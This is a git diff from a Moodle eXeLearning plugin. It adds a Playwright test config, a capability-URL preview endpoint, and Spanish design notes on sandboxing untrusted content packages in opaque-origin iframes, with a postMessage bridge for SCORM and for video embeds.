+// any Moodle/Behat setup. Serves the plugin root over a static server so the harness
+// can load the real js/exe_embed_*.js and an opaque-origin sandboxed content iframe,
+// then runs the check in Firefox (proves the promote-to-parent mechanism is not
+// Chromium-specific). Run with: npx playwright test -c playwright-embed.config.cjs
+const { defineConfig, devices } = require('@playwright/test');
+
+const PORT = 8126;
+
+module.exports = defineConfig({
+    testDir: 'tests/e2e',
+    testMatch: /.*\.spec\.cjs$/,
+    timeout: 30000,
+    fullyParallel: false,
+    use: { baseURL: 'http://localhost:' + PORT },
+    webServer: {
+        command: 'python3 -m http.server ' + PORT,
+        port: PORT,
+        reuseExistingServer: false,
+        timeout: 30000,
+    },
+    projects: [
+        { name: 'firefox', use: { ...devices['Desktop Firefox'] } },
+    ],
+});
diff --git a/preview.php b/preview.php
new file mode 100644
index 0000000..cdbe8a9
--- /dev/null
+++ b/preview.php
@@ -0,0 +1,107 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Authless opaque HTTP preview serving endpoint (capability URL).
+ *
+ * The Moodle adapter of eXeLearning core's canonical preview serving contract v2
+ * (docs/preview-serving-contract.md). It serves the three session layers —
+ * generated documents, session assets, fixed installation resources — of the
+ * opaque preview iframe over an unguessable capability URL.
+ *
+ * Route: GET /mod/exelearning/preview.php/{previewId}/<path...>
+ *   `previewId` is a server-minted UUID capability. No auth cookie is required or
+ *   consulted (NO_MOODLE_COOKIES): the opaque preview iframe sends no SameSite
+ *   cookie, so the route is gated purely on the unguessable previewId + idle TTL
+ *   in the session store — the cookieless model the published package uses via
+ *   tokenpluginfile.php + get_user_key('core_files', ...) in view.php.
+ *
+ * All protocol logic (three-layer resolution, tiered Cache-Control, the sandbox
+ * CSP byte-identical to core previewCspHeader(), ETag/Range) lives in
+ * \mod_exelearning\local\preview\serving; the store lives in session_store. This
+ * script only parses the capability URL and emits the computed response.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+// Authless capability URL: never start a session or touch cookies. The previewId
+// is the only credential; an auth cookie must not influence the response.
+define('NO_MOODLE_COOKIES', true);
+
+// Raw byte-exact body: suppress any debug notice/warning that would otherwise be
+// prepended to the served preview/asset bytes (and could defeat the headers/CSP
+// contract) on a site with $CFG->debugdisplay enabled. The standard pattern for
+// file-serving endpoints (tokenpluginfile / pluginfile-style scripts).
+define('NO_DEBUG_DISPLAY', true);
+
+// @codingStandardsIgnoreLine — path is fixed relative to /mod/exelearning/.
+require(__DIR__ . '/../../config.php');
+
+use mod_exelearning\local\preview\serving;
+use mod_exelearning\local\preview\session_store;
+
+/**
+ * Emit a serving response ({status, headers, body}) and stop. The hardening
+ * headers ride on every response, 404s included.
+ *
+ * @param array $response Serving response with 'status', 'headers' and 'body' keys.
+ * @return never
+ */
+function exelearning_preview_send(array $response): void {
+    foreach ($response['headers'] as $name => $value) {
+        header($name . ': ' . $value);
+    }
+    http_response_code($response['status']);
+    echo $response['body'];
+    die;
+}
+
+// Slash arguments: PATH_INFO is "/{previewId}/{relpath}". get_file_argument()
+// reads it robustly whether or not $CFG->slasharguments is enabled (the same
+// helper pluginfile.php / tokenpluginfile.php use).
+$parsed = serving::parse_capability_path((string) get_file_argument());
+$previewid = $parsed['previewid'];
+$relpath = $parsed['relpath'];
+
+// Invalid capability shape -> 404 (with base headers, no CSP).
+if (!preg_match(serving::UUID_RE, $previewid)) {
+    exelearning_preview_send(serving::not_found());
+}
+
+// Bare capability root ("/{previewId}" or "/{previewId}/") -> 302 to index.html,
+// so the opaque iframe's base URL is the session directory and document bytes are
+// never served from the bare URL. The Location is RELATIVE (resolved against the
+// request URL) so it is correct under any $CFG->wwwroot subdirectory. Pure URL
+// canonicalization, done before the session lookup; the redirected request
+// resolves the session and resource.
+if ($parsed['bareroot']) {
+    $location = serving::bare_root_location($previewid, $parsed['trailingslash']);
+    exelearning_preview_send(serving::redirect_to_index($location));
+}
+
+// Cookieless capability lookup: unknown or idle-expired session -> 404.
+$session = session_store::get_for_serving($previewid);
+if ($session === null) {
+    exelearning_preview_send(serving::not_found());
+}
+
+$response = serving::serve($session, $relpath, [
+    'ifnonematch' => $_SERVER['HTTP_IF_NONE_MATCH'] ?? null,
+    'range' => $_SERVER['HTTP_RANGE'] ?? null,
+]);
+exelearning_preview_send($response);
diff --git a/research/analisis/notas/AN-008-iframe-vs-scorm-player.md b/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
index 1a15dc1..07043d9 100644
--- a/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
+++ b/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
@@ -145,7 +145,8 @@ La investigación de TAREA-012 (DEC-0019) verifica la HIPÓTESIS de arriba: Mood
 `url.php` lo hardcodea), así que el subdominio dedicado requiere **infraestructura
 fuera de core**. Además confirma que el bridge SCORM es **100% same-origin** (el padre
 lee `iframe.contentDocument` para el `objectid` de DEC-0017, el hijo recorre
-`window.parent.API`, el teacher-mode hider inyecta CSS en el `contentDocument`), por lo
+`window.parent.API`, el teacher-mode hider inyectaba CSS en el `contentDocument` —histórico:
+hoy el teacher-mode usa el parámetro core `?exe-teacher`, compatible con opaco, DEC-0066—), por lo
 que quitar `allow-same-origin` u optar por origen opaco **rompe el tracking** salvo que
 antes se reescriba el bridge a `postMessage` (patrón H5P). Comparativa y roadmap de
 hardening (Tier 1: Permissions-Policy + CSP estricto-con-toggle + quitar
diff --git a/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md b/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md
new file mode 100644
index 0000000..6acfb8b
--- /dev/null
+++ b/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md
@@ -0,0 +1,215 @@
+---
+id: AN-015
+titulo: "Comparativa: soluciones de embeds de vídeo (YouTube/Vimeo) en contenido no confiable — mod_exelearning vs procomún vs eXeLearning vs el paper"
+fecha: 2026-06-19
+fuentes:
+  - REPO-005
+  - REPO-010
+  - REPO-011
+relacionados:
+  - DEC-0061
+  - DEC-0059
+  - DEC-0060
+  - AN-008
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Resumen
+
+Cuatro implementaciones/análisis del MISMO problema —reproducir vídeo de terceros (YouTube/Vimeo)
+incrustado en un paquete `.elpx` **no confiable** que se sirve en un **iframe de origen opaco**— se
+comparan aquí. La conclusión clave: **las cuatro coinciden en el núcleo** y se diferencian sólo en
+**la capa** en la que actúan, el **canal de confianza** y **quién impone el sandbox del player**.
+
+Núcleo compartido por todas: el `.elpx` corre en origen opaco (`sandbox` SIN `allow-same-origin`,
+`origin="null"`); el flag se **propaga** a los iframes anidados, así que un YouTube/Vimeo anidado de
+forma ingenua **sale en blanco**; la solución es **promote-to-parent**: el player real se monta en el
+**padre confiable** (origen real del proveedor, cross-origin al host → aislado por el SOP), nunca
+reintroduciendo `allow-same-origin` para el host; y como `event.origin` del frame opaco es la cadena
+inútil `"null"`, el mensaje se autentica por **identidad de ventana** (`event.source === iframe.contentWindow`).
+El paper lo nombra literalmente «el modelo de confianza que Moodle ya usa para incrustar YouTube».
+
+**Veredicto (depende del rol):** no hay un ganador único.
+- Para la **pureza del canal de seguridad**, **eXeLearning** gana: sólo cruza `{provider, videoId}`
+  (nunca la URL del autor), el padre reconstruye la URL canónica desde una plantilla fija, y el
+  handshake va con **identidad de ventana + nonce por vista + un MessagePort transferido** que un
+  sub-frame hostil anidado no puede obtener. Un id malicioso ni siquiera puede plantillarse en una URL
+  viva. **Pero** su asimetría: el sandbox/CSP del player vive **entero en el host** y el productor **no
+  puede imponerlo** → como garantía para un host arbitrario es **condicional**.
+- Para un **host desplegado que debe defenderse de paquetes arbitrarios** (nuestro caso),
+  **mod_exelearning** es el más fuerte en conjunto: **posee e impone** el sandbox del player, trata
+  como hostiles **tanto la URL como la geometría**, añade guardas D1/D2, y es el **mejor validado** de
+  los cuatro (Vitest + e2e Playwright real en sandbox opaco + anti-drift). Además la mayor **fidelidad
+  visual** (overlay inline, indistinguible de un embed normal).
+- **procomún** es el **más simple** (click→modal, sin sincronía de geometría) pero el de **menos
+  defensa en profundidad** (sin canonicalización de Vimeo, UI muerta en thumbnails, PDF sin sandbox).
+- **El paper** aporta el **principio** (SoK) que las tres implementaciones materializan.
+
+## El problema común
+
+DEC-0059/DEC-0060 sirven el paquete en origen opaco para cerrar RIE-001 (que el paquete alcance la
+sesión/sesskey del padre). Efecto colateral (el «dilema central» del paper, `:249`): los flags
+`sandbox` se propagan a los iframes anidados → el player de YouTube/Vimeo hereda el origen opaco,
+pierde el suyo (cookies/storage) y queda en blanco. Las tres implementaciones responden con
+**promote-to-parent** + aislamiento por SOP del player en el origen real del proveedor.
+
+## Hechos citados
+
+### mod_exelearning (DEC-0061) — consumidor, overlay inline
+
+- **Shim en el contenido** `js/exe_embed_shim.js` (horneado como `libs/exe_embed_shim.js` por
+  `package_manager.php:256-259`, inyectado al inicio del `<head>` por `scorm_injector.php:108-123`),
+  se auto-activa **sólo** en origen opaco; sustituye cada `iframe[src]` cross-origin-https-o-`.pdf` por
+  un placeholder y postMessea `{id, url ABSOLUTA, x, y, w, h}` al padre con `targetOrigin '*'`.
+- **Relay en el padre** `js/exe_embed_relay.js` (inline en `view.php:516-531`, sólo en `$securemode`):
+  autentica por identidad de ventana (`frameForSource` exige un iframe de **contenido**, nunca un
+  player promovido — `relay.js:297-308`), **valida** cada URL (`validate()`/`isCrossOriginHttps`,
+  `relay.js:162-233`: https, sin userinfo, cross-origin, no IP/loopback/`.local`, no dominio relacionado
+  con el LMS) y **superpone** el player real sobre la geometría del placeholder.
+- **Sandbox del player** (`relay.js:251`): `allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation` — **omite `allow-top-navigation` y `allow-modals`**. El `allow-same-origin` aquí
+  es **seguro** porque el `src` del player es cross-origin (proveedor) → el SOP lo aísla del host; NO es
+  el `allow-same-origin` prohibido del iframe de contenido.
+- **Guardas:** **D1** redirect-laundering (`armSameOriginGuard`, `relay.js:339-348`: elimina el player
+  si aterriza same-origin al LMS), **D2** forged-message (players excluidos de `frameForSource`),
+  clamp de geometría anti-clickjacking (`Math.min(embed.w, rect.width)`, overflow:hidden).
+- **YouTube:** OPEN promociona verbatim; STRICT reconstruye `youtube-nocookie.com/embed/{id}` +
+  `referrerpolicy=strict-origin-when-cross-origin` (evita el Error 153). **Vimeo:** STRICT reconstruye
+  `player.vimeo.com/video/{id}`. Modos `mod_exelearning/embedmode` OPEN (invariante https+cross-origin,
+  sin allowlist) vs STRICT (allowlist `DEFAULT_EMBED_HOSTS` + rebuild canónico), `player_iframe.php:133-139`.
+- **Limitación:** interactive-video (control del player por la API del autor) **roto** en opaco; un
+  puente de control YT se prototipó y **se revirtió por frágil**. Local `<video>` funciona.
+- **Validación:** Vitest + **e2e Playwright en Firefox en sandbox opaco real** (`tests/e2e/embed.spec.cjs`)
+  + `tools/check-embed-sync.mjs` (anti-drift entre mod/wp/omeka).
+
+### procomún (ADR-0026/0027) — consumidor, click→modal
+
+- Mismo modelo, **simplificado a click→modal**: shim `apps/api/static/elpx/embed-shim.js` (fachada +
+  postMessage), relay `use-elpx-embed-relay.ts:34-54` (identidad de ventana), `classifyEmbed`
+  (`elpx-embed-policy.ts:94-125`: rechaza userinfo, https-only, invariante video cross-origin), modal
+  `EmbedModal.tsx`.
+- Opacidad reforzada por **sandbox attr Y directiva CSP `sandbox`** en la respuesta
+  (`elpx-content.ts:224-225`) → aguanta en pestaña nueva.
+- Sandbox del player `EmbedModal.tsx:44`: `allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation` (sin top-nav). **YouTube** → `youtube-nocookie` (`elpx-embed-policy.ts:64-78`).
+  **Vimeo: SIN rama de canonicalización** → sólo open-mode genérico, sin reescritura de privacidad.
+- **Costes/defectos:** open-mode sin allowlist; player con `allow-same-origin` seguro **sólo** por la
+  invariante cross-origin; **UI muerta** (fachada en thumbnails que no monta modal); PDF **sin sandbox**;
+  requiere `ACAO: *` + `crossorigin=anonymous` en los `<script>` del paquete. Sin sincronía de geometría
+  (más simple, menos superficie). Interactive-video roto (igual que mod).
+
+### eXeLearning (rama `fix/opaque-iframe-external-media`) — productor, canal mínimo
+
+- **Lado productor:** el exportador **hornea un runtime en cada export** (`exe_media_policy.js` +
+  `exe_media_bridge.js`, inyectados por `PageRenderer.ts:305-308`), que se auto-ejecuta y detecta
+  contexto opaco (`exe_media_bridge.js:66-96`).
+- **Canal de confianza más limpio:** el hijo transmite **sólo `{provider, videoId}`** (nunca una URL)
+  por un **MessageChannel con capability**; el padre **reconstruye** `youtube-nocookie/player.vimeo`
+  canónico desde plantilla fija (`canonicalEmbedUrl`, `exe_media_policy.js:74-82`) y revalida el id
+  (`^[A-Za-z0-9_-]{11}$` / `^[0-9]{6,12}$`). Handshake gated por **identidad de ventana + nonce por
+  vista + MessagePort transferido** (`exe-media-host.js:298-335`) → un sub-frame hostil anidado **no
+  tiene el port** y no puede inyectar comandos.
+- **Player en el padre** vía **YouTube IFrame API / Vimeo Player.js SDK**. Click→modal `<dialog>`.
+  Degradación grácil (aviso + abrir-en-pestaña al watchdog ~8s), nunca un frame en blanco.
+- **El único que preserva interactive-video** (timing de preguntas) bajo origen opaco: hide/show del
+  modal en vez de espejado de geometría (`interactive-video.js:664-707`). (Vimeo sólo en
+  interactive-video, no en quick-questions-video, que es YouTube-only.)
+- **Asimetría estructural (cons):** el sandbox/CSP del player vive **entero en el host** y el productor
+  **NO puede imponerlo** (`external-media-bridge.md:122-138`); un host descuidado podría cargar el
+  player sin CSP/sin negar top-nav. **Requiere que el host coopere** (vendorizar `exe-media-host.js`,
+  cargar los SDK, fijar `frame-src`). Sin cooperación → sólo abrir-en-pestaña, no reproducción inline.
+
+### El paper (SoK) — principio
+
+- Marco: el peligro es JS de autor en el **mismo origen** que la sesión LMS. Mitigación = origen opaco
+  + CSP `sandbox` en la respuesta + bridge `postMessage` validado por **identidad de ventana** (no por
+  `event.origin`, contrastando con el origen-trust **roto de H5P**), `:297`.
+- Vídeo (`:295,299,303`): promote-to-parent + SOP; invariante **sin allowlist** `https+cross-origin`
+  cubre YouTube/Vimeo/Dailymotion; modo estricto y **oEmbed server-side** como alternativas
+  conservadoras. Variante fachada+modal citada como más simple, mismo modelo.
+- Defensa en profundidad: CSP de respuesta `connect-src 'self'` (cierra exfil), `object-src 'none'`,
+  `frame-ancestors 'self'`; residuo acotado = pixel GET que exfiltra el token de fichero de **sólo
+  lectura** (no el `sesskey`) vía `img/media/frame-src https:`; perfil CSP estricto opcional lo cierra.
+
+## Comparativa por dimensiones
+
+| Dimensión | mod_exelearning | procomún | eXeLearning | El paper |
+|---|---|---|---|---|
+| **Rol / capa** | Consumidor (player) | Consumidor (player) | Productor (export) | Principio (SoK) |
+| **UI de reproducción** | Overlay **inline** (geometría sincronizada) | Click→**modal** | Click→**modal `<dialog>`** | Ambas; recomienda modal por simple |
+| **Qué cruza el límite** | URL absoluta + geometría (ambas no confiadas) | URL absoluta + geometría | **Sólo `{provider, videoId}`** | URL (no confiada) |
+| **Auth del mensaje** | Identidad de ventana + exclusión de players (D2) | Identidad de ventana | Identidad de ventana + **nonce + MessagePort** | Identidad de ventana |
+| **Sandbox del player** | **Lo impone el consumidor** (sin top-nav/modals) | Lo impone el consumidor | **Lo impone el host** (productor no puede) | Lo impone el host |
+| **YouTube** | OPEN verbatim / STRICT → nocookie | → nocookie | → nocookie (sólo id) | nocookie/allowlist o invariante |
+| **Vimeo** | STRICT → `player.vimeo/video/{id}` | **Sin canonicalización** | → `player.vimeo/video/{id}` (sólo id) | igual que YouTube |
+| **interactive-video** | **Roto** (puente revertido) | Roto | **Funciona** (único) | Sacrificado por aislamiento |
+| **Guardas extra** | **D1 redirect-guard, D2, clamp** | — | nonce + port + enum cerrado | CSP respuesta |
+| **Complejidad** | Alta (mejor validada) | **Baja** | Media (si controlas el productor) | n/a |
+| **Validación** | Vitest + e2e Firefox opaco + anti-drift | menor | runtime propio | adversarial 7/7 (Chromium) |
+
+## [INTERPRETACION] — ¿Qué es mejor?
+
+«Mejor» **depende del rol**, y comparar de frente confunde un **diseño de canal** (eXeLearning) con un
+**sandbox impuesto** (mod/procomún):
+
+- Como **host de Moodle que recibe paquetes de autores arbitrarios**, lo correcto es que **el player
+  imponga su propio sandbox** sin depender de que el paquete coopere. Ahí **mod_exelearning es la
+  referencia**: es el mejor diseño para defender contenido arbitrario, impone el sandbox que el productor
+  no puede, y es el mejor validado. procomún es el mismo modelo más simple pero con menos defensa.
+- El **canal** de eXeLearning es **superior** (sólo cruza un id, reconstrucción desde plantilla, nonce +
+  MessagePort): elimina toda la clase de **URL-laundering** que mod cubre con D1. Conviene **adoptar esa
+  disciplina** para proveedores reconocidos, manteniendo D1 como cinturón para el camino genérico OPEN.
+- La **fidelidad** se reparte: eXeLearning es el único que conserva **interactive-video**; mod tiene la
+  mejor fidelidad **visual** (inline). No son excluyentes: mod aporta el **sandbox impuesto**,
+  eXeLearning aporta la **fidelidad de cue-points** — son **complementarios**.
+
+## Recomendación para mod_exelearning
+
+1. **Mantener** el relay promote-to-parent (`js/exe_embed_relay.js`) como **frontera de seguridad
+   canónica** para YouTube/Vimeo: es el diseño correcto para un host y el mejor validado.
+2. **Estrechar el canal** adoptando la disciplina de eXeLearning «cruza sólo `{provider, videoId}` y
+   reconstruye en el padre desde plantilla fija» para los proveedores reconocidos (reduce la superficie
+   a validar la forma del id y elimina la clase URL-laundering). **Mantener D1** para el camino genérico
+   OPEN.
+3. **interactive-video:** NO re-bridgear el control de YouTube dentro de mod (se revirtió por frágil).
+   En su lugar, cuando el paquete venga de eXeLearning actual, dejar que **el propio bridge de
+   eXeLearning** (`exe_media_bridge.js` + un `exe-media-host.js` vendorizado) maneje los cue-points
+   —el único enfoque que preserva el timing bajo origen opaco— **pero** con el relay de mod imponiendo
+   el sandbox/CSP del player que eXeLearning no puede imponer. Complementarios.
+4. **Vimeo:** añadir/confirmar la rama de canonicalización (procomún carece de ella) para paridad de
+   privacidad (`player.vimeo.com/video/{id}`).
+5. **Despliegues de alta seguridad:** ofrecer el **perfil CSP estricto opcional** del paper (§6.3) que
+   cierra el residuo de exfil por pixel GET del token de sólo lectura (off por defecto para no romper
+   imágenes externas/MathJax/CDN).
+
+## Actualización (2026-06-28): marco de los dos problemas + decisión ([[DEC-0066]] + [[DEC-0067]])
+
+**Dos problemas ortogonales (no confundir).** Esta nota cubre bien el **Problema A** (propagación del
+sandbox → player en blanco → promote-to-parent). Conviene añadir explícitamente el **Problema B —
+Error 153 / referrer**, **independiente** del sandbox: ocurre incluso en embebido normal cuando el host
+envía `Referrer-Policy: no-referrer`/`same-origin` y el player no lleva `referrerpolicy`. Lo arregla el
+**atributo `referrerpolicy`** (precedencia element-level sobre la cabecera). Caso real (red Medusa,
+Humberto ATE): la infra fijaba `no-referrer` **y Jetpack eliminaba el atributo**. mod ya pone
+`strict-origin-when-cross-origin` en el player (`DEC-0061:69-70`), así que resuelve A **y** B; el vídeo
+simple **ya se ve** en opaco. `referrerpolicy` **no** sustituye al promote-to-parent (no arregla A).
+
+**Decisión tomada (cierra el `[PENDIENTE]` #1 de abajo).** El usuario eligió **mantener el overlay
+inline** de mod (no migrar a modal) y **endurecer** el trust model (nonce + `MessageChannel`, cruzar
+sólo `{provider, videoId}`), y **arreglar el vídeo interactivo modificando el iDevice** de eXeLearning
+(autorizado). Registrado en **[[DEC-0067]]**. Matiz respecto a la recomendación #3 de esta nota: en vez
+de delegar los cue-points al **modal** del bridge de eXe, el iDevice (modificado) conduce el control por
+el bridge endurecido mientras el **overlay mantiene el player en la geometría del `#player`** → la layout
+queda en el hijo, sin la reconstrucción en el padre que hizo frágil el prototipo revertido. El
+teacher-mode pasó a `?exe-teacher` ([[DEC-0066]]), lo que desbloqueó reanudar este trabajo en opaco.
+
+## [PENDIENTE]
+
+- ~~ADR de seguimiento si se decide la integración complementaria con el bridge productor de eXeLearning
+  para interactive-video~~ → **decidido en [[DEC-0067]]** (overlay inline endurecido + arreglo del vídeo
+  interactivo en el iDevice; el sandbox lo sigue imponiendo mod).
+- Toggle CSP estricto (cierre del residuo de confidencialidad; eco de `anexos-tecnicos.md:181`).
+- Validación cross-engine del **camino de promoción de embeds** específicamente (el aislamiento opaco se
+  confirmó en 3 motores; el e2e de promoción es Firefox/Chromium).
+- procomún: cerrar la **UI muerta** de thumbnails y el **PDF sin sandbox** si se toma como referencia.
diff --git a/research/decisiones/adr/DEC-0046-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md b/research/decisiones/adr/DEC-0046-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
index 3f45279..8e71897 100644
--- a/research/decisiones/adr/DEC-0046-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
+++ b/research/decisiones/adr/DEC-0046-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
@@ -9,6 +9,7 @@ agentes:
 fuentes:
   - REPO-004
 relacionados:
+  - DEC-0066
   - DEC-0045
   - DEC-0042
   - DEC-0032
@@ -18,6 +19,12 @@ herramienta_ia:
   modelo: claude-fable-5
 ---
 
+> **Superseded-in-part (2026-06-28).** La inyección **#2 (teacher-mode hider)** descrita aquí es ya
+> **histórica**: la función `exelearning_require_teacher_mode_hider()` se **eliminó** (PR 86) y el
+> teacher-mode se revela por el **parámetro core `?exe-teacher`**, compatible con origen opaco y sin
+> mutar el paquete — ver **[[DEC-0066]]**. La inyección **#1 (SCORM-loader)** y el resto del análisis
+> de esta entrada siguen vigentes salvo donde [[DEC-0059]]/[[DEC-0060]]/[[DEC-0045]] los cubran.
+
 ## Contexto
 
 El informe técnico comparativo (mod_exescorm / mod_exeweb / mod_exelearning) marca como
diff --git a/research/decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md b/research/decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md
new file mode 100644
index 0000000..2b80746
--- /dev/null
+++ b/research/decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md
@@ -0,0 +1,231 @@
+---
+id: DEC-0059
+titulo: "Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): implementación de RIE-001 Tier 2"
+estado: Aceptada
+fecha: 2026-06-13
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-002
+  - REPO-004
+  - REPO-005
+experimentos: []
+relacionados:
+  - RIE-001
+  - AN-008
+  - DEC-0019
+  - DEC-0017
+  - DEC-0042
+  - TAREA-017
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+`DEC-0019` cerró la investigación de RIE-001 (XSS cross-component desde un `.elpx`
+malicioso) y dejó dos tiers documentados pero **sin implementar por decisión del
+usuario**. Su roadmap fijaba explícitamente que el aislamiento real (Tier 2) iría en
+**"su propio ADR"**: `M6 — reescribir el bridge a postMessage → M7 — origen opaco`.
+
+Esta ADR es ese ADR. El usuario priorizó implementar el **bridge seguro** completo
+(no sólo el endurecimiento Tier 1), configurable y con valor por defecto seguro, tras
+confirmar que es la única alternativa que cumple los objetivos de aislamiento (el
+contenido NO puede leer ni modificar el DOM/cookies/sesión/JS del marco padre de
+Moodle). **No supersede a DEC-0019**: la implementa/avanza.
+
+El problema de fondo (ya documentado en DEC-0019) es que el SCORM era 100%
+same-origin, con **tres dependencias duras** que hacían que quitar `allow-same-origin`
+matase el tracking en silencio:
+
+1. el **padre** inyectaba `window.API` y el hijo (pipwerks) lo buscaba recorriendo
+   `window.parent`;
+2. el **padre** leía `iframe.contentDocument` para mapear el `objectid` de cada
+   iDevice (DEC-0017);
+3. el **teacher-mode hider** inyectaba `<style>` en el `contentDocument`.
+
+## Problema
+
+¿Cómo aislar el contenido `.elpx` (HTML/JS arbitrario del autor) del marco Moodle
+**sin romper** el scoring SCORM ni la detección por `objectid`, dentro del modelo de
+Moodle (un único `$CFG->wwwroot`, sin origen separado en core), de forma configurable
+y compatible hacia atrás?
+
+## Hechos verificados (con cita)
+
+1. **El pipwerks empaquetado descubre el `window.API` de su PROPIA ventana antes de
+   subir al padre.** `assets/scorm/SCORM_API_wrapper.js:71-106`: en `find(win)` el
+   bucle `while ((!win.API && !win.API_1484_11) && win.parent && win.parent != win)`
+   parte de `win = window`; si `window.API` existe en el iframe, el bucle no se
+   ejecuta y devuelve el API local. → **Inyectar el shim `window.API` DENTRO del
+   iframe hace que pipwerks lo use sin tocar el padre.** Es el linchpin que vuelve
+   viable el origen opaco.
+2. **`LMSGetValue` ya responde de una caché `cmi{}` local** (`js/scorm_tracker.js`,
+   `LMSGetValue: function (k) { return cmi[k] || ''; }`). El contrato síncrono de
+   pipwerks se satisface sin red, así que un relevo **asíncrono por `postMessage`**
+   para las escrituras (`LMSSetValue`/`Commit`/`Finish`) es suficiente; no hace falta
+   round-trip síncrono al padre.
+3. **El almacenamiento web lanza `SecurityError` en un documento de origen opaco**, y
+   el motor exportado de eXeLearning lo usa de forma incondicional en código que viaja
+   en TODO export: `public/libs/exe_atools/exe_atools.js` (barra de accesibilidad),
+   `public/app/common/exe_export.js`, el iDevice `checklist`
+   (`.../checklist/export/checklist.js`) y `edicuatex`. Sus guardas `typeof
+   localStorage` NO protegen (en origen opaco el acceso al getter, no el `typeof`,
+   es lo que lanza). → **El shim debe instalar un polyfill de `localStorage`/
+   `sessionStorage` en memoria** antes de que corra el contenido, o esos scripts
+   rompen. (Verificación de uso: `rg "localStorage|sessionStorage"` sobre
+   `/Users/ernesto/Downloads/git/exelearning`.)
+4. **Comparación con core (re-verificada, coherente con DEC-0019):**
+   - `core_h5p` valida `postMessage` por `event.source === window.parent` + un token
+     de contexto (`event.data.context === 'h5p'`), pero **sin** validar `event.origin`
+     y con contenido **curado** (`public/h5p/js/embed.js:38-46`). Patrón de
+     acción/contexto reutilizable, modelo de amenaza distinto.
+   - `mod_scorm`: iframe **sin `sandbox`**, mismo origen, el SCO recorre `window.parent`
+     (`public/mod/scorm/player.php`, `loadSCO.php` findAPI). Más débil.
+   - `mod_lti`: usa `allow=` (Permissions-Policy) + `X-Frame-Options`, no `sandbox`.
+   - SimplePie es el **único** uso de `sandbox` en core (`allow-scripts
+     allow-same-origin` para feeds). → **No existe precedente en core de un iframe
+     sandbox de origen opaco con bridge**; se adopta el patrón de **identidad de
+     ventana** de `wp-franer` (iframe sin `allow-same-origin`, validación por
+     `event.source === iframe.contentWindow`, credenciales sólo en el padre) más la
+     **lista cerrada de acciones + token de contexto** estilo H5P.
+
+## Opciones consideradas
+
+1. **A — No hacer nada (statu quo).** Mantiene RIE-001 abierto; no cumple los
+   objetivos. Rechazada.
+2. **B — Sólo `sandbox="allow-scripts"` (sin same-origin) sin bridge.** Rompe el
+   tracking (las 3 dependencias lanzan `SecurityError`). Inviable sin M6.
+3. **C — Bridge `postMessage` + origen opaco (M6+M7 Route A).** Elegida.
+4. **D — Configurable (modo global) sobre C.** Adoptada como parte de C: ajuste
+   `iframemode` (secure|legacy), default secure.
+5. **E — Origen separado / subdominio (M7 Route B) o CSP de red completa (M3).**
+   Route B requiere infra fuera de core (descartada para esta issue); M3 queda como
+   follow-up opcional complementario, no bloqueante.
+
+## Decisión
+
+Implementar **C + D**: bridge SCORM por `postMessage` con el iframe en **origen
+opaco**, **configurable** mediante un único ajuste global de administración
+`mod_exelearning/iframemode` (`secure` por defecto | `legacy` de respaldo). Sin campo
+por actividad (no se toca BD/upgrade/backup).
+
+### Arquitectura
+
+- **`\mod_exelearning\local\ui\player_iframe`** (`classes/local/ui/player_iframe.php`):
+  resuelve el modo (fail-safe a `secure` ante valor inválido) y centraliza la lista de
+  tokens del `sandbox` por modo (testeable sin renderizar `view.php`).
+- **Modo `secure`** (`view.php`): el `sandbox` es `allow-scripts allow-popups
+  allow-forms` (sin `allow-same-origin` ni `allow-popups-to-escape-sandbox`; sigue sin
+  `allow-top-navigation` ni `allow-modals`). El padre NO inyecta `window.API`; inyecta
+  inline el **relevo** `js/scorm_bridge_relay.js` y le pasa `{iframeid, cmid, trackurl
+  (con sesskey+mode), session, nonce, teachermodevisible}`. El `sesskey` NUNCA cruza el
+  bridge.
+- **Shim en el iframe** (`js/scorm_bridge_shim.js`, copiado a `libs/exe_scorm_bridge.js`
+  e inyectado al inicio de `<head>` por `scorm_injector`): se autoactiva sólo en origen
+  opaco (`window.origin === 'null'`), instala el polyfill de storage, define
+  `window.API` local reutilizando `js/scorm_tracker.js` (con la nueva opción
+  `transport`), resuelve `objectid` de SU propio documento y postMessea los deltas al
+  padre. Oculta el teacher-mode localmente con el flag del handshake.
+- **`js/scorm_tracker.js`**: nueva opción `transport(data, sync)` que, cuando está
+  presente, sustituye al XHR directo (el modo legacy y los tests siguen usando el XHR).
+- **Modo `legacy`**: idéntico a hoy (same-origin, `window.API` en el padre, hider por
+  `contentDocument`). El shim baked queda dormido (origen no opaco).
+- **Permissions-Policy** (DEC-0019 M2, limpio): se mantiene como follow-up recomendado
+  para `exelearning_pluginfile()` (no incluido aún en este cambio para acotar el PR).
+
+### Protocolo del bridge
+
+```
